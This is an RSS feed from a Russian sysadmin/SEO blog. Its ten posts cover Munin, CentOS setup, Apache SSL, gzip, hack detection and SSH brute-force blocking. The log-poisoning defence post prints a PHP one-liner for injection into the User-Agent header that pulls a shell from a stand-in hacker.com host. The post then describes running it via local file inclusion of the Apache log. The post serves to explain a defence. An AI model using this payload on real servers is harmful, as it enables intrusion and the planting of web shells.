<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SEO блог где палят темы &#187; linux</title>
	<atom:link href="http://alexf.name/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://alexf.name</link>
	<description>Самый интересный SEO блог</description>
	<lastBuildDate>Fri, 10 Feb 2012 23:08:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Плагин для Munin для долгих запросов</title>
		<link>http://alexf.name/2011-06-21/plagin-dlya-munin-dlya-dolgix-zaprosov/</link>
		<comments>http://alexf.name/2011-06-21/plagin-dlya-munin-dlya-dolgix-zaprosov/#comments</comments>
		<pubDate>Tue, 21 Jun 2011 15:54:33 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[новичкам]]></category>
		<category><![CDATA[програмизм]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=937</guid>
		<description><![CDATA[Когда-то я уже писал про инструмент для мониторинга серверов под названием munin. В тот раз я не затрагивал плагины, а сейчас можно это сделать. Плагины для munin надо искать тут, один из полезных найденных мной плагинов называется apache_activity, он должен сканировать вывод апачевского mod_status&#8217;а и выдавать результат в виде графика. Проблема заключается в том, что [...]]]></description>
			<content:encoded><![CDATA[<p>Когда-то я уже писал про инструмент для мониторинга серверов под названием <strong><a href="http://alexf.name/2008-09-24/linuks-ustanovka-munin/">munin</a></strong>. В тот раз я не затрагивал плагины, а сейчас можно это сделать. Плагины для munin надо искать <strong><a href="http://exchange.munin-monitoring.org/" target="_blank">тут</a></strong>, один из полезных найденных мной плагинов называется apache_activity, он должен сканировать вывод апачевского mod_status&#8217;а и выдавать результат в виде графика. Проблема заключается в том, что сам плагин написан видимо под какую-то странную юниксу, поскольку под Центосом он не работает и в коде видно, что он там пытается делать что-то не то. Сам код написан на мерзотном перле, в котором проще по новой написать, чем разобраться, поэтому родилась идея сделать такой же, но работающий плагин и на пхп. До кучи, кроме обычных запросов, которые вообще то раз в 5 минут смотреть бессмысленно, поскольку в одну секунду может быть 200 запросов, а в следующую &#8211; 0, мой плагин мониторит &#8220;длинные&#8221; запросы &#8220;W&#8221;, которые выполняются дольше 20 секунд и которые как правило и отжирают основные ресурсы сервера.</p>
<p>Код плагина под катом, для работы надо поменять(...)<br/>Читать далее <a href="http://alexf.name/2011-06-21/plagin-dlya-munin-dlya-dolgix-zaprosov/">Плагин для Munin для долгих запросов</a> (305 words)</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2011. |
<a href="http://alexf.name/2011-06-21/plagin-dlya-munin-dlya-dolgix-zaprosov/">Ссылка</a> |
<a href="http://alexf.name/2011-06-21/plagin-dlya-munin-dlya-dolgix-zaprosov/#comments">2 комментариев</a> 
<br/>
Теги: <br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2011-06-21/plagin-dlya-munin-dlya-dolgix-zaprosov/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Подготовка к работе сервера на Centos 5.6 х 64</title>
		<link>http://alexf.name/2011-06-15/podgotovka-k-rabote-servera-na-centos-5-6-x-64/</link>
		<comments>http://alexf.name/2011-06-15/podgotovka-k-rabote-servera-na-centos-5-6-x-64/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 13:37:17 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[новичкам]]></category>
		<category><![CDATA[centos]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=933</guid>
		<description><![CDATA[Когда-то давно я уже писал как запустить с нуля сервер с центосом, но время идёт, кое-что меняется, поэтому пришло время написать новый пост. Итак, допустим мы получили от хостера новый сервер с центосом 5.6, который скорей всего будет 64 битный. Для нормальной работы, нам надо поставить туда ДНС, ФТП, Апач, Мускуль и ПыХыПэ. Последовательность действий [...]]]></description>
			<content:encoded><![CDATA[<p>Когда-то давно я уже писал как <strong><a href="http://alexf.name/2007-08-16/linuks-nastrojka-dedika-dlya-raboty-s-nulya/">запустить с нуля сервер с центосом</a></strong>, но время идёт, кое-что меняется, поэтому пришло время написать новый пост.</p>
<p>Итак, допустим мы получили от хостера новый сервер с центосом 5.6, который скорей всего будет 64 битный. Для нормальной работы, нам надо поставить туда ДНС, ФТП, Апач, Мускуль и ПыХыПэ. Последовательность действий такая:</p>
<p>1. Проверяем что за сервер нам достался, что на нём за система:</p>
<p><strong>uname -a</strong><br />
<strong>uname -i</strong><br />
<strong>cat /proc/version</strong><br />
<strong>cat /proc/cpuinfo</strong></p>
<p>2. Добавляем нужных(...)<br/>Читать далее <a href="http://alexf.name/2011-06-15/podgotovka-k-rabote-servera-na-centos-5-6-x-64/">Подготовка к работе сервера на Centos 5.6 х 64</a> (440 words)</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2011. |
<a href="http://alexf.name/2011-06-15/podgotovka-k-rabote-servera-na-centos-5-6-x-64/">Ссылка</a> |
<a href="http://alexf.name/2011-06-15/podgotovka-k-rabote-servera-na-centos-5-6-x-64/#comments">6 комментариев</a> 
<br/>
Теги: <a href="http://alexf.name/tag/centos/" rel="tag">centos</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2011-06-15/podgotovka-k-rabote-servera-na-centos-5-6-x-64/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Пробую DropBox</title>
		<link>http://alexf.name/2010-12-18/probuyu-dropbox/</link>
		<comments>http://alexf.name/2010-12-18/probuyu-dropbox/#comments</comments>
		<pubDate>Sat, 18 Dec 2010 20:00:19 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[SEO сервисы]]></category>
		<category><![CDATA[оффтопик]]></category>
		<category><![CDATA[стартапы]]></category>
		<category><![CDATA[шняга]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=884</guid>
		<description><![CDATA[Узнал про очередной новый сервис для синхронизации файлов между разными компами &#8211; DropBox. Работает самым очевидным образом &#8211; с помощью проги-клиента настраивается директория на диске, все файлы из которой синхронизируются с сервером и соответственно со всеми машинами где стоят клиенты залогинившиеся в ваш аккаунт. Есть приватные и публичные директории. Нахаляву дают 2 гига места, если сказать [...]]]></description>
			<content:encoded><![CDATA[<p>Узнал про очередной новый сервис для синхронизации файлов между разными компами &#8211; <strong><a href="https://www.dropbox.com/referrals/NTE3MDQ0MTAzOQ?src=global0" target="_blank">DropBox</a></strong>. Работает самым очевидным образом &#8211; с помощью проги-клиента настраивается директория на диске, все файлы из которой синхронизируются с сервером и соответственно со всеми машинами где стоят клиенты залогинившиеся в ваш аккаунт. Есть приватные и публичные директории. Нахаляву дают 2 гига места, если сказать что от меня пришли и регнуться по <a href="https://www.dropbox.com/referrals/NTE3MDQ0MTAzOQ?src=global0" target="_blank">моей ссылке</a> &#8211; дадут на 250 мег больше. Клиенты есть вроде под все основные ОСы, под венду и андроид лично опробовал &#8211; оно работает. Под <a href="http://alexf.name/category/linux/" >линукс</a> штука требует питона 2.6, а у меня на серверах только 2.4, так что оно вроде запускается, но в конфиги не залезть &#8211; скрипт конфигуратор требует свежего питона. Работает под линуксом тоже замысловато &#8211; там не надо логиниться, а просто при старте даётся урл, при заходе на который с залогиненным браузером, линуксовая машина сама прицепляется к аккаунту.</p>
<p>Надо будет ещё поиграться с этим, в принципе полезная вещь, можно туда скинуть закриптованный tc файл и отовсюду иметь доступ ко всем своим паролям и прочему нужному в работе добру. Опять же, немаркетные приложения на андроид ставить удобней - раньше мне приходилось цеплять USB шнур и через него задувать в <a href="http://alexf.name/2010-10-15/kitajskij-gadzhet-na-androide/" target="_self">аппарат</a> то что мне надо, а теперь тоже самое можно сделать без проводов.</p>
<p>Интересно, что будет, если выйти из клиента, стереть директорию, а потом запустить клиент &#8211; по идее убъётся всё что есть на сервере и на всех машинах, по крайней мере в линуксовой версии про что-то подобное предупреждают. <img src='http://alexf.name/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2010. |
<a href="http://alexf.name/2010-12-18/probuyu-dropbox/">Ссылка</a> |
<a href="http://alexf.name/2010-12-18/probuyu-dropbox/#comments">7 комментариев</a> 
<br/>
Теги: <br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2010-12-18/probuyu-dropbox/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Установка Ubuntu внутри Windows Virtual PC</title>
		<link>http://alexf.name/2010-09-03/ustanovka-ubuntu-vnutri-windows-virtual-pc/</link>
		<comments>http://alexf.name/2010-09-03/ustanovka-ubuntu-vnutri-windows-virtual-pc/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 08:46:11 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[новичкам]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=841</guid>
		<description><![CDATA[Как могли догадаться постоянные читатели блога, я не большой фанат Линукса. Однако, иметь его под рукой часто бывает полезно и новая 7-я винда сильно упрощает эту возможность с помощью своего средства виртуализации Windows Virtual PC. Это такая штука, позволяющая запустить виртуальную машину из одного единственного файла на диске, причём сама виртуальная машина теоретически может работать под любой ОС, [...]]]></description>
			<content:encoded><![CDATA[<p>Как могли догадаться постоянные читатели блога, я не большой фанат Линукса.</p>
<div id="attachment_842" class="wp-caption alignnone" style="width: 448px"><img class="size-full wp-image-842" title="I am Linux" src="http://alexf.name/wp-content/uploads/2010/09/pc-mac-linux.jpg" alt="I am Linux" width="438" height="369" /><p class="wp-caption-text">I am Linux</p></div>
<p>Однако, иметь его под рукой часто бывает полезно и новая 7-я винда сильно упрощает эту возможность с помощью своего средства виртуализации Windows Virtual PC. Это такая штука, позволяющая запустить виртуальную машину из одного единственного файла на диске, причём сама виртуальная машина теоретически может работать под любой ОС, но на практике, <a href="http://alexf.name/category/linux/" >линукс</a> придётся немного обработать напильником, чтобы всё завелось. Итак, чтобы поставить Ubuntu делаем так:</p>
<p>1. Скачиваем ubuntu-10.04-desktop-i386.iso с торрентов.(...)<br/>Читать далее <a href="http://alexf.name/2010-09-03/ustanovka-ubuntu-vnutri-windows-virtual-pc/">Установка Ubuntu внутри Windows Virtual PC</a> (251 words)</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2010. |
<a href="http://alexf.name/2010-09-03/ustanovka-ubuntu-vnutri-windows-virtual-pc/">Ссылка</a> |
<a href="http://alexf.name/2010-09-03/ustanovka-ubuntu-vnutri-windows-virtual-pc/#comments">4 комментариев</a> 
<br/>
Теги: <a href="http://alexf.name/tag/ubuntu/" rel="tag">Ubuntu</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2010-09-03/ustanovka-ubuntu-vnutri-windows-virtual-pc/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Как подключить self-signed SSL к Апачу</title>
		<link>http://alexf.name/2010-08-16/kak-podklyuchit-self-signed-ssl-k-apachu/</link>
		<comments>http://alexf.name/2010-08-16/kak-podklyuchit-self-signed-ssl-k-apachu/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 14:43:19 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[новичкам]]></category>
		<category><![CDATA[апач]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=829</guid>
		<description><![CDATA[Готовой инструкции не нашёл, может кому-то будет полезно: 0) Итак, сначала надо удостовериться, что на сервере есть openssl и mod_ssl, если их нет, надо доставить yum&#8217;ом или ещё как. 1) Создаём директорию для сертификатов, например ssl. Создаём сертификат и openssl req -new -x509 -days 3650 -keyout ssl/vhost1.key -out ssl/vhost1.crt -nodes -subj &#8216;/O=VirtualHost Website Company name/OU=Virtual [...]]]></description>
			<content:encoded><![CDATA[<p>Готовой инструкции не нашёл, может кому-то будет полезно:<br />
0) Итак, сначала надо удостовериться, что на сервере есть <strong>openssl</strong> и <strong>mod_ssl</strong>, если их нет, надо доставить yum&#8217;ом или ещё как.<br />
1) Создаём директорию для сертификатов, например ssl. Создаём сертификат и <strong>openssl req -new -x509 -days 3650 -keyout ssl/vhost1.key -out ssl/vhost1.crt -nodes -subj &#8216;/O=VirtualHost Website Company name/OU=Virtual Host Website department/CN=сайт.ком&#8217;</strong>. Команду можно записать в sh файл, чтобы потом перезапускать по мере надобности. При копировании из блога, помните о типографских кавычках вордпресса, заменяйте на обычные.<br />
2) Включаем в апаче работу с SSL: в файле httpd.conf пишем <strong>Listen 443</strong> (там где уже есть <strong>Listen 80</strong>), подключаем модуль <strong>LoadModule ssl_module modules/mod_ssl.so</strong>, вместо <strong>NameVirtualHost *</strong> пишем<br />
<strong>NameVirtualHost *:80<br />
NameVirtualHost *:443</strong><br />
3) В директории conf.d исправляем в конфигах все записи вида <strong>&lt;VirtualHost *&gt;</strong> на <strong>&lt;VirtualHost *:80&gt;</strong> (F4 в MC). Для хоста который должен открываться по хттпс пишем <strong>&lt;VirtualHost *:443&gt;</strong>. Внутри этой записи к обычным записям вида ServerName, дописываем:<br />
<strong>SSLEngine On<br />
SSLCertificateFile /путь к директории/ssl/vhost1.crt<br />
SSLCertificateKeyFile /путь к директории/ssl/vhost1.key</strong></p>
<p>Всё готово, перезапускаем апач и пробуем достучаться к хосту по https. Браузеры будут ругаться на неопознанный сертификат, но это так и задумано, поскольку он у нас самоподписанный.</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2010. |
<a href="http://alexf.name/2010-08-16/kak-podklyuchit-self-signed-ssl-k-apachu/">Ссылка</a> |
<a href="http://alexf.name/2010-08-16/kak-podklyuchit-self-signed-ssl-k-apachu/#comments">Один комментарий</a> 
<br/>
Теги: <a href="http://alexf.name/tag/apach/" rel="tag">апач</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2010-08-16/kak-podklyuchit-self-signed-ssl-k-apachu/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ускорение вордпресса с помощью gzip</title>
		<link>http://alexf.name/2009-12-20/uskorenie-vordpressa-s-pomoshhyu-gzip/</link>
		<comments>http://alexf.name/2009-12-20/uskorenie-vordpressa-s-pomoshhyu-gzip/#comments</comments>
		<pubDate>Sat, 19 Dec 2009 23:44:48 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[блог]]></category>
		<category><![CDATA[htaccess]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=764</guid>
		<description><![CDATA[Лёгкий способ ускорить получение страниц блога браузерами. Открываем файл .htaccess в директории с блогом или создаём, если его нету. Пишем в первую строчку такое: php_value output_handler ob_gzhandler Всё, теперь страницы будут зиповаться перед отправкой, грузя процессор сервера, но разгружая канал связи. Проверить, что всё работает можно(...)Читать далее Ускорение вордпресса с помощью gzip (19 words) © [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_765" class="wp-caption alignnone" style="width: 520px"><img class="size-full wp-image-765" title="Ускорение Вордпресса" src="http://alexf.name/wp-content/uploads/2009/12/rocket-car.jpg" alt="Ускорение Вордпресса" width="510" height="278" /><p class="wp-caption-text">Ускорение Вордпресса</p></div>
<p>Лёгкий способ ускорить получение страниц блога браузерами. Открываем файл .htaccess в директории с блогом или создаём, если его нету. Пишем в первую строчку такое:</p>
<blockquote><p><strong>php_value output_handler ob_gzhandler</strong></p></blockquote>
<p>Всё, теперь страницы будут зиповаться перед отправкой, грузя процессор сервера, но разгружая канал связи.</p>
<p>Проверить, что всё работает можно(...)<br/>Читать далее <a href="http://alexf.name/2009-12-20/uskorenie-vordpressa-s-pomoshhyu-gzip/">Ускорение вордпресса с помощью gzip</a> (19 words)</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2009. |
<a href="http://alexf.name/2009-12-20/uskorenie-vordpressa-s-pomoshhyu-gzip/">Ссылка</a> |
<a href="http://alexf.name/2009-12-20/uskorenie-vordpressa-s-pomoshhyu-gzip/#comments">4 комментариев</a> 
<br/>
Теги: <a href="http://alexf.name/tag/htaccess/" rel="tag">htaccess</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2009-12-20/uskorenie-vordpressa-s-pomoshhyu-gzip/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Индикатор взлома сервера</title>
		<link>http://alexf.name/2009-03-12/indikator-vzloma-servera/</link>
		<comments>http://alexf.name/2009-03-12/indikator-vzloma-servera/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 13:48:32 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[новичкам]]></category>
		<category><![CDATA[холокост]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=507</guid>
		<description><![CDATA[Помимо различных видов защиты сервера от хаков, можно позаботиться о том, чтобы оперативно узнать что сервер таки был взломан. Сделать это можно, зная тактику хакеров: обычно стандартный хакерский скрипт ищет все файлы вида index.html, index.php и т.п. и дописывает в них ифрейм или ссылки, чтобы воровать ваш траф и получить халявные бэклинки. Поэтому на сервере можно [...]]]></description>
			<content:encoded><![CDATA[<p>Помимо различных видов <a href="http://alexf.name/2009-02-24/zashhita-ot-otravleniya-logov-log-poisoning/" target="_self">защиты сервера</a> от хаков, можно позаботиться о том, чтобы оперативно узнать что сервер таки был взломан. Сделать это можно, зная тактику хакеров: обычно стандартный хакерский скрипт ищет все файлы вида index.html, index.php и т.п. и дописывает в них ифрейм или ссылки, чтобы воровать ваш траф и получить халявные бэклинки. Поэтому на сервере можно завести специальный файл с названием index.php, который даже может быть не связан с вебсервером но должен лежать там же где лежат файлы сервера и где их будет хакать хакерский скрипт. Далее надо просто мониторить по крону размер этого файла и при его изменении отсылать сообщение админу, что типа &#8220;нас хакнули&#8221;. Кроме того, при заходе на сервер рутом полезно всегда запускать команды <strong>last</strong> и <strong>lastb</strong> и смотреть кто и когда туда заходил кроме вас.(...)<br/>Читать далее <a href="http://alexf.name/2009-03-12/indikator-vzloma-servera/">Индикатор взлома сервера</a> (46 words)</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2009. |
<a href="http://alexf.name/2009-03-12/indikator-vzloma-servera/">Ссылка</a> |
<a href="http://alexf.name/2009-03-12/indikator-vzloma-servera/#comments">13 комментариев</a> 
<br/>
Теги: <br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2009-03-12/indikator-vzloma-servera/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Защита от отравления логов (Log Poisoning)</title>
		<link>http://alexf.name/2009-02-24/zashhita-ot-otravleniya-logov-log-poisoning/</link>
		<comments>http://alexf.name/2009-02-24/zashhita-ot-otravleniya-logov-log-poisoning/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 13:10:34 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[новичкам]]></category>
		<category><![CDATA[хакерство]]></category>
		<category><![CDATA[холокост]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=483</guid>
		<description><![CDATA[Отравление логов (logs poisoning) это такой хитрый способ пробраться на чужой сервер, используемый хакерами. Апач как правило имеет лог файл, лежащий по стандартному пути (зависит от версии ОС). Читать и писать в этот файл могут те же юзеры, под которыми выполняются скрипты, то есть если хакер допустим нашёл какую-то уязвимость, позволяющую включать локальные файлы, но [...]]]></description>
			<content:encoded><![CDATA[<p>Отравление логов (<strong>logs poisoning</strong>) это такой хитрый способ пробраться на чужой сервер, используемый хакерами. Апач как правило имеет лог файл, лежащий по стандартному пути (зависит от версии ОС). Читать и писать в этот файл могут те же юзеры, под которыми выполняются скрипты, то есть если хакер допустим нашёл какую-то уязвимость, позволяющую включать локальные файлы, но самого локального файла у него нет, то он может прописать нужный код в лог файл апача и далее запустить его оттуда. Сделать это можно, например прописав в качестве юзерагента коротенький пхп код типа такого:</p>
<blockquote><p>&lt;?php  fwrite(fopen(&#8216;shell.php&#8217;,'w&#8217;),  file_get_contents(&#8216;http://www.hacker.com/myshell.txt&#8217;)); ?&gt;</p></blockquote>
<p>Код по идее может быть прописан в любую часть запроса, которая откладывается в лог. После этого хакеру просто надо запустить уязвимый скрипт, указав ему в качестве загружаемого файла лог апача (/var/log/httpd/access_log или что-то подобное) и на сервер будет загружен шелл с хакерского сервера.<br />
Бороться с этим можно многими способами:(...)<br/>Читать далее <a href="http://alexf.name/2009-02-24/zashhita-ot-otravleniya-logov-log-poisoning/">Защита от отравления логов (Log Poisoning)</a> (90 words)</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2009. |
<a href="http://alexf.name/2009-02-24/zashhita-ot-otravleniya-logov-log-poisoning/">Ссылка</a> |
<a href="http://alexf.name/2009-02-24/zashhita-ot-otravleniya-logov-log-poisoning/#comments">4 комментариев</a> 
<br/>
Теги: <br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2009-02-24/zashhita-ot-otravleniya-logov-log-poisoning/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Защита от подбора пароля для SSH</title>
		<link>http://alexf.name/2009-02-13/zashhita-ot-podbora-parolya-dlya-ssh/</link>
		<comments>http://alexf.name/2009-02-13/zashhita-ot-podbora-parolya-dlya-ssh/#comments</comments>
		<pubDate>Thu, 12 Feb 2009 23:31:15 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[новичкам]]></category>
		<category><![CDATA[програмизм]]></category>
		<category><![CDATA[хакерство]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=480</guid>
		<description><![CDATA[В последние несколько дней на сервер с блогом повадились лазать какие-то хакеры, пытающиеся подобрать пароли для различных стандартных юниксовых юзверей и заодно определить, есть ли вообще некий юзверь в наличии. Логи с ошибками распухают прямо на глазах, да и сервер бессмысленно грузится. Против них можно использовать вот такой скрипт: iptables -N SSH_CHECK iptables -A INPUT -p tcp [...]]]></description>
			<content:encoded><![CDATA[<p>В последние несколько дней на сервер с блогом повадились лазать какие-то хакеры, пытающиеся <a href="http://alexf.name/2007-11-07/zashhita-ot-brutforsa/" target="_self">подобрать пароли</a> для различных стандартных юниксовых юзверей и заодно определить, есть ли вообще некий юзверь в наличии. Логи с ошибками распухают прямо на глазах, да и сервер бессмысленно грузится. Против них можно использовать вот такой скрипт:</p>
<blockquote><p>iptables -N SSH_CHECK<br />
iptables -A INPUT -p tcp &#8211;dport 22 -m state &#8211;state NEW -j SSH_CHECK<br />
iptables -A SSH_CHECK -m recent &#8211;set &#8211;name SSH<br />
iptables -A SSH_CHECK -m recent &#8211;update &#8211;seconds 120 &#8211;hitcount 4 &#8211;name SSH -j DROP</p></blockquote>
<p>Делает этот скрипт следующее: добавляет в iptables новую цепочку правил под названием SSH_CHECK, все входящие тцп соединения на 22й порт (который слухает ssh) отправляет в эту цепочку, если с одного ип адреса за 120 секунд (2 минуты) было 4 или больше <strong>новых</strong> соединений, то это зловредный хакер и он банится. Бан временный, как только условие 120х4 перестаёт выполняться &#8211; адрес снова может ходить на сервер. Это нужно чтобы вас самих случайно не забанило насовсем.</p>
<p>В интернете можно найти много вариантов этого скрипта, разные версии не работают с разными версиями iptables, поэтому перед экспериментами советую прописать в кроне сброс всех настроек iptables (iptables -F) раз в 5-10 минут, чтобы в случае какой-то ошибки не самозабаниться на своём же сервере. С этой штукой шутки плохи &#8211; одно неловкое движение и сервер придётся доставать из анабиоза через консоль в датацентре. После того как отладка закончена, сброс настроек соответственно надо будет убрать.</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2009. |
<a href="http://alexf.name/2009-02-13/zashhita-ot-podbora-parolya-dlya-ssh/">Ссылка</a> |
<a href="http://alexf.name/2009-02-13/zashhita-ot-podbora-parolya-dlya-ssh/#comments">13 комментариев</a> 
<br/>
Теги: <a href="http://alexf.name/tag/brutfors/" rel="tag">брутфорс</a><br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2009-02-13/zashhita-ot-podbora-parolya-dlya-ssh/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Линукс: установка Munin</title>
		<link>http://alexf.name/2008-09-24/linuks-ustanovka-munin/</link>
		<comments>http://alexf.name/2008-09-24/linuks-ustanovka-munin/#comments</comments>
		<pubDate>Wed, 24 Sep 2008 12:53:49 +0000</pubDate>
		<dc:creator>alexf</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[инструменты]]></category>
		<category><![CDATA[новичкам]]></category>
		<category><![CDATA[саморазвитие]]></category>

		<guid isPermaLink="false">http://alexf.name/?p=312</guid>
		<description><![CDATA[Munin это такой архиполезный скрипт, который мониторит различные параметры сервера и создаёт из них набор картинок для удобного просмотра, типа как используется дисковая система по дням, по неделям и т.д. Штука нужная в хозяйстве, но по умолчанию она в линуксе не стоит, нужно ставить вручную. Весь Munin состоит из 3х частей: 1) Сам Munin, скрипт [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://munin.projects.linpro.no/" target="_blank">Munin</a></strong> это такой архиполезный скрипт, который мониторит различные параметры сервера и создаёт из них набор картинок для удобного просмотра, типа как используется дисковая система по дням, по неделям и т.д. Штука нужная в хозяйстве, но по умолчанию она в линуксе не стоит, нужно ставить вручную.<img src="http://www.semanticpool.de/wp-content/uploads/2007/06/munin_example_memory_usage.png" alt="munin" /></p>
<p>Весь Munin состоит из 3х частей:<br />
1) Сам Munin, скрипт который собирает статистику в кучку и рисует графики.<br />
2) Сервис munin-node, который сидит на конкретной машине и готовит данные для главного скрипта. Машина может быть той же самой или другой.<br />
3) Плагины для показа конкретных данных, которые можно добавлять самому, но все нужные ставятся вместе с п.1.</p>
<p>Соответственно инсталляция выглядит следующим образом(...)<br/>Читать далее <a href="http://alexf.name/2008-09-24/linuks-ustanovka-munin/">Линукс: установка Munin</a> (123 words)</p>
<hr />
<p><small>© alexf в блоге <a href="http://alexf.name">SEO блог где палят темы</a>, 2008. |
<a href="http://alexf.name/2008-09-24/linuks-ustanovka-munin/">Ссылка</a> |
<a href="http://alexf.name/2008-09-24/linuks-ustanovka-munin/#comments">9 комментариев</a> 
<br/>
Теги: <br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://alexf.name/2008-09-24/linuks-ustanovka-munin/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

